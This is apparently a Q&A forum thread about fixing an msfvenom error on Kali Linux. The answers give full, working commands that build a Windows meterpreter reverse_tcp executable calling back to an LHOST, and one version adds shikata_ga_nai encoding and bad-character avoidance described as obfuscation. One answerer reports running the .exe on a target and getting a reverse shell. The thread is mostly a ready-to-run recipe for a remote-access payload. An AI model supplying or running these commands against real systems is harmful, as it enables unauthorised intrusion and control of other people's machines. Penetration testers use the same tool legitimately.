payload
Custom Payload Kali Linux
root#kali:~# msfvenom windows/meterpreter/reverse_tcp LHOST=192.168.49.128 LPORT=12345 -f exe Attempting to read payload from STDIN... You must select an arch for a custom payload I've been googling for sometime now, with no positive result. Can anyone tell me what is meant by 'You must select an arch for a custom payload'?
If you go to msfvenom -h it will bring up the help. You will see the command to set the architecture is '-a' which you need to set to x86 or any other architecture you want. so your command would look like msfvenom windows/meterpreter/reverse_tcp LHOST=192.168.49.128 LPORT=12345 -a x86 -f exe > yourexploit.exe BUT you're gonna actually need to specify the payload by including '-p' in front of your payload description, so your command will look like msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.49.128 LPORT=12345 -a x86 -f exe > yourexploit.exe . It's gonna complain that no platform was selected so it selected one for you... "No platform was selected, choosing Msf::Module::Platform::Windows from the payload", then you'll get "Found 0 compatible encoders", just ignore that. Type in "file yourexploit.exe" and it should give you some data saying PE32 executable....then you're good to go. I just figured this out and it worked for me, ran the the .exe in my target and got reverse shell. Good luck!
HOW TO: sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=666 -a x86 --platform windows -f exe -e x86/shikata_ga_nai -i 3 -b '\x00\x0a\x0d' > /root/payload.exe BUG REPORT: 1º Attempting to read payload from STDIN.. "you do not have not config the '>' redirection flag to output the payload name or path/name.exe" 2º You must select an arch for a custom payload "there are only 2 archs available to windows systems x86 and x64 and the flag -a set that value" 3º No platform was selected, choosing Msf::Module::Platform::Windows "you do not have config the platform to use (OS), the flag to set that value is '--platform windows'" 4º found 0 compactible encoders "you have not set any encoders to obfuscate the sourcecode, the flag to set that value is:[-e set encoder name] [-i number of interactions to encode] [-b evade badchars in shellcode generation (optional)]"
Related Links
Msfvenom format specifier
NodeRED & IBM Watson: How do I insert Watson's response {{payload}} into my index.html?
Custom Payload Kali Linux